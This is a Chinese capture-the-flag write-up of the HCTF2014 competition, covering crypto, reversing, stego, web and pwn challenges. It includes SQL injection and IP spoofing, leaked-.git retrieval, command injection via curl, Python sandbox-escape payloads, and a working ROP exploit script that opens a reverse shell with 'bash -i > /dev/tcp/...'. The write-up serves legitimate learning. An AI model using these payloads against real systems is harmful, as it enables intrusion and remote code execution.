当前位置:安全客 >> 资讯详情

全网首发-XCTF杭州站-HCTF2014 Writeup(通关攻略) 完美版

2014-11-10 09:50:03 阅读:158906次 收藏 来源: 安全客

本文由Sigma所有小伙伴版权所有,l0g1n整理

2014年11月10日

如有问题请联系l0g1n#qq.com

360攻防实验室全网首发  

以下内容供安全爱好者参考学习本文获得投稿奖励500元,即将打入作者账户,投稿请发送邮件至 huangyuan#360.cn

t01f29097252cdd9a94.png



丘比龙的最爱(10pt

t013f80d0ee214d0b41.png

送分题,百度一下,得到答案。

t01c4ac95804aeaeb1c.png

nvshen100pt

t0159c69977f665348b.png

下载得到一张base64编码的图片,解码后百度识图得到答案。

t01201082ddcab65a1d.png

babyCrack100pt

t01835362242d98caf1.png

Peid查下发现是.Net程序

t01f3b5955bee9fabab.png

丢进ILSpy直接看到flag

t01fd846496b0f64304.png

GIFT100pt

t01a605d7903b2e2fb4.png

在源码中得到提示,下载index.php.bak

t0184c35e1481b83fa7.png

<?php$flag='xxx';extract($_GET);if(isset($gift)){$content=trim(file_get_contents($flag));if($gift==$content){echo'hctf{...}';}else{echo'Oh..';}}?>

很明显,这里存在变量覆盖漏洞,构造参数得到flag

t019269db1a7ee7fb36.png

babyCrack2100pt

t010c9c4faecc5fca7e.png

这个题目分析了几分钟发现不对头,然后根据flag的头部,发现密码了,将下面字符串每位减一,就可以得到flag了。

t01c17d4cf9ce8cc7d3.png

Entry200pt

t01cce4432855138bad.png

根据13猜测为rot13编码,解码后得到一个md5

t012cf76c538f07e6b1.png

Somd5解密得到flag

t01e97b0099fcb262ea.png

jianshu400pt

t018b6a73bfc96fb839.png

HTML编码payloadburp改包提交得到一个ip和审核链接

t0134185f6b07b7d4e8.png

Xss获取远程IP地址: 218.75.123.186

后台访问页面:http://121.41.37.11:25045/get.php?user=V1ew

X-Forwarded-For伪造登陆上去没有flag

看到提示后尝试更换思路

看到2.jpg SQLMAP的截图,寻找注入点进行注入

t01feabacf414c9d5ec.png

t016e3edbbc02b168f8.png

发现前台显示图片页面存在SQL注入:

http://121.41.37.11:25045/img.php?file=1.jpg

注入参数file,使用Sqlmap注入获取管理员名称:

t0189ada3311d79d062.png

http://121.41.37.11:25045/get.php?user=A1rB4s1C

加上X-Forwarded-For: 218.75.123.186伪造ip登陆上去

t01599e6e29cb733afe.png

IRC300pt

t016675cb5037a80536.png

这题略坑,irc里面一个一个人的点whois,得到flag……

http://p7.qhimg.com/t01e5f1d67592f74734.png

NormalFile300pt

t01a891007cea890d02.png

发现图片中有多个PK头,尝试了多次,提取出来解压得到一张图片和一个文件夹,忘记是否还有其它东西了,取文件夹内的图片,提取出来另一张图片,再提取解压一次,得到下图的apk

t01cc93f6377ac6c2ba.png

丢进改之理,也可以用其它工具分析下,找到关键部分如下:

t01a2ec2279f6883da4.png

整理得到:

t01713c20650b986afb.png

又看到strings.xml里有一个奇怪的字符串

t017a491b76d33123af.png

两个加号的形式很眼熟啊~

t01fc486dc50d096129.png

猜测它就是paramString.charAt(0) + paramString.charAt(4) + paramString.charAt(8) + paramString.charAt(12) + paramString.charAt(1) + "++" + paramString.charAt(13)

计算得到flag

FuckMe350pt

t01a9ef67c2ef98a8b6.png

换字式密码。

写个脚本对原密文中的字符进行替换,然后把密文丢进win decrypto跑一下,得到flag

t01e37c06202324c722.png

Flag在正文中,找一下就可以得到了。

wow400pt

t017da75d1c91553bdb.png

看了一个文件是ELF 64位,加载运行试了下,出错了,直接用IDA分析,流程结构很简单,关键地方如下:

t0115b5a2d013668bbe.png

经过分析,发现这是22元一次方程,编写脚本计算,可得KEY,脚本如下:

import sys
import numpy
NUM = 0x16
matrix = [[0 for col in   range(NUM)] for row in range(NUM)]  
strings = [
"ThelightTokeepinmindtheholylight",
"Timeismoneymyfriend",
"WelcometotheaugerRuiMa",
"Areyouheretoplayforthehorde",
"ToarmsyeroustaboutsWevegotcompany",
"Ahhwelcometomyparlor",
"Slaytheminthemastersname",
"YesrunItmakesthebloodpumpfaster",
"Shhhitwillallbeoversoon",
"Kneelbeforemeworm",
"Runwhileyoustillcan",
"RisemysoldiersRiseandfightoncemore",
"LifeismeaningleshThatwearetrulytested",
"BowtothemightoftheHighlord",
"ThefirstkillgoestomeAnyonecaretowager",
"Itisasitshouldbe",
"Thedarkvoidawaitsyou",
"InordertomoregloryofMichaelessienray",
"Rememberthesunthewellofshame",
"Maythewindguideyourroad",
"StrengthandHonour",
"Bloodandthunder"
]
verify=[
0x000373ca,
0x00031bdf,
0x000374f7,
0x00039406,
0x000399c4,
0x00034adc,
0x00038c08,
0x00038b88,
0x00038a60,
0x0002b568,
0x00032471,
0x00037dea,
0x00036f97,
0x000378e4,
0x00038706,
0x00029010,
0x00034c23,
0x00038ef8,
0x00038e29,
0x0003925e,
0x0002b5fc,
0x0002584e
]
def gen_matrix():
       #init
       for   x in xrange(NUM):
              for   y in xrange(NUM):
                     matrix[x][y]   = 0
       #assign
       for   x in xrange(NUM):
              _len   = len(strings[x])
              for   y in xrange(_len ):
                     if  y >= NUM:
                            break;
                     matrix[x][y]   = ord(strings[x][y])
result  = [ 104,    99, 116, 102, 123,  76,  74,    95, 121,  54,  99, 100, 99,  95, 113, 119, 101, 101, 114, 116,  33, 125]
if __name__ == '__main__' :
       gen_matrix()
       verify   = numpy.array(verify )
       matrix   = numpy.array(matrix )
       print   numpy.linalg.solve(matrix,verify)
       for   x in xrange(len(result)):
              sys.stdout.write(chr(result[x]))

opensource300pt

t01e2b568d992a188e2.png

(1)通过robots.txt发现有git泄露

(2)之后就是把文件下载下来并读取内容

wget http://121.40.86.166:39339/.git/objects/9c/dd2b4631ed0e3badfd1b257449873eb060b0d3

mkdir ./objects/9c

cp dd2b4631ed0e3badfd1b257449873eb060b0d3 ./objects/9c/dd2b4631ed0e3badfd1b257449873eb060b0d3

git cat-file -p 9cdd2b4631ed0e3badfd1b257449873eb060b0d3

wget http://121.40.86.166:39339/.git/index

cp index ./.git

git ls-files --stage

(3)通过读文件发现一个可以读flag的接口

curl http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451/\?pangci\=tail%20-n%20143 >> 1.txt

curl http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451/\?pangci\=tail%20-n%20138 >> 1.txt

KEY

t01b46d6660042d4dbb.jpg

starbucks400pt

t0167f999346ef9faf5.png

在“真的能做吗”中拿到shell以后,闲逛发现居然能catstarbucks.py,发现题目和Hack.lu 2012类似,然后

().__class__.__bases__[0].__subclasses__()[40](" /home/starbucks/grande/greentea/latte/flag").read()

小伙伴说还可以酱紫

cmd=().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"]

cmd=cmd.popen('ls -al')  #这里填写命令就行了

print cmd.read()


FIND200pt

t01edbd0d7260483637.png

Stegsolve看下,发现有个二维码。

t01bf4c53b40bd0fe36.png

ps反色后手机扫下得到flag

wzwzDingDing500pt

t01ceb3254d5a7f168d.png

拿到一个驱动文件,先用Ida看下后 丢给edb-debugger动态分析

dev control里面有很多ctl code,发几个凑好FFFFFF,在最后一个ctl code中发现有这样一句话OK!YOU ARE REALLY GOOD!Also, there is a } left

t01d2a38f4781aa8b04.png

而在这个ctl code中执行了下图的shellcode

t0157db5cac41083510.png

这段不完整的shellcode需要用前面的irp填补。

为了凑出完整的shellcode使其正常执行,需要填补上\x50\x41\x50\x48\x83\xec\x28\x59\xc3

加上hctf{}提交就是正确的flag

真的能做吗(600pt

t019a9dc90ebe27b03d.png

使用nc连上以后,发现端口上绑定的就是前面的题目wow,那么题目的目的也就是要找到wow中的漏洞并利用。

发现Check函数中的memcpy存在溢出漏洞,可覆盖Check函数的返回地址。不过有一点是,想要执行到leave;retn;输入的字符串前面一定要是wow题目正确的flag,否则verify比较失败会直接call _exit()

0000000000400FB0 src= qword ptr -5D8h

0000000000400FB0 dest= byte ptr -30h

0000000000400FD1 mov     rcx, [rbp+src]

0000000000400FD8 lea     rax, [rbp+dest]

0000000000400FDC mov     rsi, rcx        ; src

0000000000400FDF mov     rdi, rax        ; dest

0000000000400FE2 call    _memcpy

然后就是想办法ROP调用system()。观察wow加载的动态链接库时发现wow自带了运行时所需要的动态链接库文件。然后又发现system()的入口似乎被破坏了。想其他办法。

发现在start函数中,有一组指令可以被用来调用linux系统调用,而且在syscall前还可以自由设置rdirsi参数,太人性化了。

00000000004015C5 pop     rax

00000000004015C6 add     rax, 1Bh

00000000004015CC mov     rsi, [rax+10h]

00000000004015D0 mov     rdi, [rax+8]

00000000004015D4 mov     rax, [rax]

00000000004015D7 syscall

试着调用59号系统调用sys_execve,参数filename=”/bin/bash”argv={“-c”,”bash -i > /dev/tcp/ip.ip.ip.ip/9999 0>&1”},那么如果参数中的字符串在内存中的固定位置,设置rsirdi会比较方便。

eax:59

rdi: const char *filename

rsi:const char *const argv[]

rdx:const char *const envp[]

为了这个目的,在main中找到了下面的指令,因为leave执行时rbp可控,因此可以实现read数据到指定的内存地址。

        00000000004010E1 buf= byte ptr -410h

0000000000401128 lea     rax, [rbp+buf]

000000000040112F mov     edx, 400h       ; nbytes

0000000000401134 mov     rsi, rax        ; buf

0000000000401137 mov     edi, 0          ; fd

000000000040113C mov     eax, 0

0000000000401141 call    _read

read()完成后,程序还会执行到Check中,如果发给read()的数据依旧超长,且满足数据前面为正确的flag,则会再次触发漏洞,在Check返回时控制RIP

所以流程很清晰了:

第一次发数据,触发漏洞,Check返回时控制rbp=0x602900+0x410rip=0x401128

此时程序会接收数据并保存在0x602900处。

第二次发的数据中包含/bin/sh-cbash  -i > /dev/tcp/ip.ip.ip.ip/9999 0>&1等字符串,于是便有了这些字符串在内存中的地址。再根据0x4015C5~0x4015D4指令在数据中摆好execve的参数。漏洞再次触发,此时rip=0x4015C5,随后sys_execve被调用。

Python脚本

from zio import *
import time
fname="/bin/bash\x00"
argc="-c\x00"
argcmd="bash -i > /dev/tcp/111.111.111.111/9999   0>&1\x00"
io=zio(("115.29.41.247",16720))
payload=("hctf{LJ_y6cdc_qweert!}"*10)[0:0x30]
payload+=l64(0x602900+0x410)                    #rbp
payload+=l64(0x401128)                          #rip
io.write(payload)
print "\nplease wait 10 seconds....\n"
time.sleep(10)
payload=("hctf{LJ_y6cdc_qweert!}"*10)[0:0x30]
payload+=l64(0xaaaaaaaaaaaaaaaa)                #rbp
payload+=l64(0x4015c5)                          #rip
payload+=l64(0x6029a0-0x1b)                     #pop reax
payload+=l64(0x1111111111111111)
payload+=l64(0x1111111111111111)
payload+=l64(0x1111111111111111)
payload+=l64(0x2222222222222222)
payload+=l64(0x3333333333333333)
payload+=l64(0x4444444444444444)
payload+=l64(0x5555555555555555)
payload+=l64(0x6666666666666666)
payload+=l64(0x7777777777777777)
payload+=l64(0x8888888888888888)
payload+=l64(0xffffffffffffffff)
#0x6029a0
payload+=l64(59)                                  #rax=sys_execve
payload+=l64(0x602a00+len(argc)+len(argcmd))    #rdi=filename
payload+=l64(0x6029c0)                          #rsi=argv
payload+=l64(0x5555555555555555)
#0x6029c0
payload+=l64(0x602a00+len(argc)+len(argcmd))    #argv[0]->"/bin/bash"
payload+=l64(0x602a00)                            #argv[1]->"-c"
payload+=l64(0x602a00+len(argc))                  #argv[2]-"shell_cmd"
payload+=l64(0x0)                               #argv[3]
payload+=l64(0x2222222222222222)
payload+=l64(0x3333333333333333)
payload+=l64(0x4444444444444444)
payload+=l64(0x5555555555555555)
#0x602a00
payload+=argc
payload+=argcmd
payload+=fname
io.write(payload)
io.read_until(EOF)

矩阵游戏(500pt

t01be77d2bb13ef5b05.png

(1)[0,0]位置操作,直到map[0,0]归零,得出游戏中格子可以存在的最大数值。

(2)遍历第一行的摆放策略,后面几行可以通过第一行的摆放策略推算出来。

(3)检验策略是否符合要求,不符合则回到(2)

如果数据给的太狠,会计算不出来,多试几次就可以了。代码如下:

# -*- coding: utf-8 -*-
'''
Created on 2014年11月8日
@author: yilin.wyl
'''
import socket
import string
import Queue
def trance(x,y):
      global mapt
      global way
      way.append([x,y])
      for i in xrange(5):
        tx = x + toward[i][0]
        ty = y + toward[i][1]
        if 0<=tx and tx<len(mapt):
            if 0<=ty and ty<len(mapt):
                mapt[tx][ty] = mapt[tx][ty]+1   if mapt[tx][ty]<num_to_zero else 0
def play_game(init):
      global mapt
      global way
      mapt = eval(init)
      x = len(mapt)
      mapt = eval(init)
      way = []
      for j in xrange(x):
        for k in range(frist_q[j]):
             trance(0,j)
      for j in xrange(1,x):
        for k in xrange(x):
            if mapt[j-1][k]!=0:
                for xx in   range(num_to_zero-mapt[j-1][k]+1):
                    trance(j,k)
                    pass
      res=0
      for j in xrange(x):
        res += mapt[x-1][j]
      if res==0:
        return 'aha'
      else:
        return 'lanlan'
def calc_column(x,init):
      global have_ans
      global mapt
      t = eval(init)
      if have_ans:
        return
      if not (x<=len(t)):
        return
      elif x == len(t):
        if play_game(init)!='lanlan':
            have_ans = True
            print 'has_ans'
      for i in range(num_to_zero+1):
        frist_q[x] = i
        calc_column(x+1,init)
def clac_zero():
      zero = 0
      data = ''
      data = sock.recv(buf)
      print '1',
      if data.find('-----Next round-----')==-1 and not   data.startswith('Please input a coordinate(x, y):'):
        data = sock.recv(buf)
      print data
      if data.find('-----Next round-----')!=-1:
       
 data =   data.split('\n')[2].replace('Please input a coordinate(x,   
y):','').replace('oh... tha\'s cool,I\' give you a last big one.','')
        zero = eval(data)[0][0]-1
      while True:
        sock.send('0,0'+'\r\n')
        data = sock.recv(buf)
        if data.startswith('Please input a   coordinate(x, y):'):
            data = sock.recv(buf)
        data = data.replace('Please input a   coordinate(x, y):','')
        print 'in',
        print data
        zero+=1
        if eval(data)[0][0]==0:
            break
      print "calcNum:"+str(zero)      
      return zero,data
toward =   [[1,0],[-1,0],[0,1],[0,-1],[0,0]]
port = 9999
ip = '121.41.37.11'
buf = 1024
map = []
mapt = []
way = []
x=0
num_to_zero = 0
frist_q = [0 for i in range(20)]
have_ans = False
#play_game('[[0, 0, 0,0], [0, 0,   0, 0], [0, 0, 0 ,0], [0, 0, 0 ,0]]')
if __name__ == '__main__':
      sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((ip,port))
      data = sock.recv(buf)
      print data
      while True:   
        num_to_zero,data = clac_zero()
        have_ans = False
        print 'game_start:',
        print data
        calc_column(0,data)
        print 'way:',
        print way
        for i in way:
            #print str(i[0])+','+str(i[1])
              sock.send(str(i[0])+','+str(i[1])+'\r\n')
            data = sock.recv(buf)
            print data
      sock.close()
      '''
      num_to_zero = 4
   
   calc_column(0,'[[4, 2, 3, 2, 1, 4], [4, 1, 3, 1, 3, 4], [2, 2, 3, 4,  
 1, 1], [3, 2, 4, 2, 1, 3], [4, 4, 3, 2, 1, 2], [2, 4, 1, 1, 3, 3]]')
      print way
      '''

最后的KEY

t01fbe464532d25d3c3.jpg


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/news/detail/796.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
聪明的狗子 2016-11-02 10:52:12
回复 |  点赞

啊啊啊啊啊

管理员 2016-11-02 09:43:13
回复 |  点赞

源姐啊啊啊啊啊

yuan_baobao 2014-11-10 14:04:54
回复 |  点赞

第一道题一看就是丘比龙出的,要不要酱紫啊。。。

管理员 2016-11-02 09:43:13
回复 |  点赞

源姐啊啊啊啊啊

yuan_baobao 2014-11-10 14:04:54
回复 |  点赞

第一道题一看就是丘比龙出的,要不要酱紫啊。。。

Nikita5_2014 2014-11-11 10:54:29
回复 |  点赞

爱醒觉罗启星怎么提交呢,,,,

360U1020019839 2014-11-10 21:48:28
回复 |  点赞

大神求带!!!

anyemoyu 2014-11-10 16:29:41
回复 |  点赞

卧槽,如此猥琐的思路,脑洞大开

woldywei 2014-11-10 14:52:52
回复 |  点赞

我是来骂IRC那道题的,那个flag我挨个点whois的时候看到了,然后查了查ip发现是山东的,以为又是哪个熊孩子在坑人,就给无视了。。。WTF

yuan_baobao 2014-11-10 14:04:54
回复 |  点赞

第一道题一看就是丘比龙出的,要不要酱紫啊。。。

c20104 2014-11-10 13:39:05
回复 |  点赞

orz,,

查看更多